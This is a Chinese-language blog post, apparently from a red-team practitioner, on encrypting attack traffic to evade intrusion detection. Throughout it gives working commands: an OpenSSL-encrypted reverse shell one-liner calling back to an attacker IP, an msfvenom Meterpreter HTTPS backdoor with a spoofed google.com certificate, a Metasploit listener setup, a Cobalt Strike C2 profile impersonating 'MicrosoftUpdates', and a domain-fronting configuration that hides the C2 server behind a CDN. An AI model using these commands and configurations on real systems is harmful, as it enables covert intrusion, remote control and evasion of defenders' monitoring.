流量加密

使用Openssl反弹加密shell

​ 红队进行渗透测试的后续渗透阶段为了进行横向渗透,往往需要反弹shell,但是如果反弹shell都是明文传输,如果内网有IDS或者防护软件会进行流量分析,很快被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队的攻击就会暴露出来,整个项目都要停止。

​ 使用Wireshark抓包直接看到输入的命令和返回的信息,这些危险命令会被防火墙或者IPS检测。所以要对这些信息进行混淆或加密。

在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包进行安全通信,避免窃听,同事确认另一端连接者的身份。这个包广泛应用在互联网的网页服务器上。

  • 在Kali上使用OpenSSL生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  • 监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
  • 在目标上执行反弹shell命令
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.35.71.246:8080 > /tmp/s; rm /tmp/s

MSF流量加密躲避检测

​ 为了防止主机被入侵,现在大部分的内网环境都装有流量审计工具,专门用来分析审查流量特征,分析网络流量,如后门特征,行为特征,像metasploit在内网做横向渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检查出来。

  • Openssl创建SSL/TLS证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt> www.google.com.pem && \
rm -rf www.google.com.key www.google.com.crt
  • 生成后门
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=10.35.71.246 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
  • 设置监听器

​ 配置监听器时还需要使用两个附加选项,这是为了通知处理程序它将使用的证书(与有效载荷相同),并在接收到连接时执行SSL证书验证。

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps 
payload => windows/meterpreter/reverse_winhttps
msf6 exploit(multi/handler) > set LHOST 10.35.71.246
LHOST => 10.35.71.246
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set HandlerSSLCert /root/www.google.com.pem
HandlerSSLCert => /root/www.google.com.pem
msf6 exploit(multi/handler) > set StagerVerifySSLCert true
StagerVerifySSLCert => true

当有效载荷在目标主机上执行时,一个加密的MSF会话将进行,它将不允许主机入侵系统检查数据包并断开连接

cobalt strike生成证书修改C2 profile流量加密混淆

​ cobalt strike 是很多红队的首选的攻击神器,在APT方面近几年应用范围很广,很多著名的团队都曾使用这个工具进行APT,效果显著。导致很多ids入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新指定。

​ 流量加密传输已经成为现在红队的基本素养,生成证书修改C2profile加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计穿透检测器。

  • 实验环境

Kali cobalt strike4.0

生成免费的SSL证书

​ 在运行cobalt strike默认使用的cobaltstrike.store证书,生成新证书的意义是将使用我们现在的制定好的证书。默认的证书cobalt strike会被检测。

keytoo工具介绍

Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。

项目 详细
alias名称 kstore
keypass init123
算法 RSA
密钥长度 2048
有效期限(天) 30
保存路径 /tmp/kstore.keystore
storepass init234
keytool -genkey -alias kstore -keyalg RSA -validity 36500 -keystore kstore.store

kstore kstore.store 两个字符串都要记住,因为修改profile要使用

填写相关的地区信息,这些信息填写后在profile上还要使用,勿乱填写,填写了要保存

完成上面得命令后提示你要输入密码

输入密码后提示地区信息,按照提示一步一步填写

组织名称:MicrosoftUpdates(尽量像大型企业)

创建并修改C2-profile文件

set sample_name "kiss POS Malware";
 
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
 
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
 
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
    set CN       "US"; 
    set O        "MicrosoftUpdates";   
    set C        "en";
    set L        "US";
    set OU       "MicrosoftUpdates";  
    set ST       "US";
    set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
    set keystore "kiss.store";
    set password "123123";
    set alias "kiss";
}
 
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
 
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
 
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";
 
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
 
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
 
        id {
            netbios;
            parameter "id";
        }
 
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
 
    server {
        output {
            print;
        }
    }
}
 
http-get {
    set uri "/updates";
 
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
 
    server {
        header "Content-Type" "text/plain";
 
        output {
            base64;
            print;
        }
    }
}

主要设置

https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}

#设置
code-signer{
set keystore "kiss.store";
set password "123123";
set alias "kiss";
}

c2link检测c2 profile文件是否可用

./c2link kiss.profile

没有报错就基本成功了

使用证书运行teamserver文件

nohup ./teamserver 1.1.1.1 123456 ./c2link kiss.profile &  #nohup就是把程序挂在后台运行

建议编辑teamserver文件,在最后把启动的端口修改一下,尽量别使用默认端口启动。

域前置cobalt strike逃避IDS审计

​ 域前置(Domain Fronting)基于HTTPS通用规避技术,也被称为域前端网络攻击技术。这是一种用来隐藏Metasploit,Cobalt Strike等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测得技术,如Amazon,Google,Akamai等大型厂商会提供一些域前端技术服务。

原理

​ 通过CDN节点将流量转发到真实的C2服务器,其中CDN节点ip通过识别请求的Host头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效的躲避DLP,agent等流量监测。

工作原理

​ 域前置的核心是CDN,而CDN的工作原理是:

同一个IP可以被不同的域名进行绑定然后进行网站加速,例如现在有两个网站,分别为:www.a.com和www.b.com 都指定同一个IP:123.123.123.123 这个IP实际是CDN服务器。当浏览器访问www.a.com和www.b.com的时候怎么保证访问的目标是正常的指定的网站内容呢,这个时候就要在HTTP请求包里再host头加入访问的域名。

例:

36.99.196.218 是一个CDN服务器,这个服务器上转发了多个域名

www.szzsivf.com和www.sundxs.com都是这个cdn服务器上的域名,而且这两个域名都绑定了别名进行cdn加速,可以发现他们使用的都是同样的一批CDN服务器

image-20211209114529708

对 www.szzsivf.com 进行请求,返回的状态码为301

对www.sundxs.com进行请求,返回的状态码同样也是301

对它们的CDN服务器进行请求,并且分别设置Host头

image-20211209115618501

可以发现,返回的结果和我们直接请求域名时返回的结果是一样的,虽然我们请求的是CDN主机但是依然返回了 设置Host头域名的内容.

由此可见,即使直接请求 CDN,只要 Host 头中带有想要访问的域名,CDN 就能知道你想和哪个域名通信,进而就能让你和指定的域名互相传送内容。

依然成功访问到了www.szzsivf.com 这个域名下,而非表面上访问的 www.sundxs.com。

域前置基础就是基于这个原理,所以我们可以申请一批高信誉的域如接近microsoft、baidu.com、google.com、amazon.cn 类似这类域名,然后在请求头里加上这种高信誉域名,另外因为是CDN服务器,因为CDN服务器会隐藏IP,所以C2服务器的真实IP也会被隐藏

域前置实践

  • 环境

cobalt strike4.0、一台VPS用于运行cobalt strike

在某云、某鹅、Amazon购买cdn云加速服务器

在国内使用cdn云加速都需要域名进行备案

我们先要申请一个域名(用来配合CDN隐藏C2服务器),然后再申请或购买一个CDN对我们所申请的域名进行加速,在这个过程中CDN会要求我们在域名的解析配置中设置相应的CNAME

申请CDN

新增源站信息,红色填涂处是C2服务器所在公网IP

申请完成状态

cobalt strike域前置配置

CDN 申请完成后,就可以开始编辑 Cobalt Strike 要用到的 C2 Profile 文件了,我们直接使用开源项目 Malleable-C2-Profiles 中的 amazon.profile,但需要把其中的 Host 头改成我们自己在 CDN 中绑定的域名,如图:

修改成自己的域名后,在服务器上启动 teamserver,加上配置文件的选项

  • 进行测试

    然后我们打开 Cobalt Strike 的 web日志 视图,用 curl 执行以下操作

然后如果在 Cobalt Strike 的 web日志 中能看到对应请求信息,则说明配置成功:

目标上线

  • 创建监听器

上面我们在profile中指定Host域名并启动是适用于 cs3.x版本的

但其实4.x版本的CS已经支持在新建监听器时直接指定http/https host header了,并且该字段的优先级要比在profile中指定的要高。

http/https Hosts 填入beacon通信的地址,直接填上域名绑定的CDN的任意一个IP或者域名即可

http/https Host(stager)是为了二次下载载荷用到的,与hosts的属性一致。

HTTP Port(c2) 与申请CDN时绑定端口保持一致

HTTP Host Header 则填写我们的加速域名

image-20211209204358993

  • 创建payload

主机地址填写c2服务器的IP

  • 在目标主机上执行payload

可以发现接口是不同的CDN服务器的IP

  • Wireshark抓包

可以发现,目标请求Host地址已经伪装成我们自己绑定的域名了,

另外,我们在目标主机使用 Wireshark 过滤与真实C2服务器的通信,可以发现没有任何与真实主机的通信,与目标进行通信的都是绑定的CDN的IP地址,至此,说明我们成功实现了 Domain Fronting 技术。

posted @ 2023-05-05 16:32  空于野  阅读(411)  评论(1编辑  收藏  举报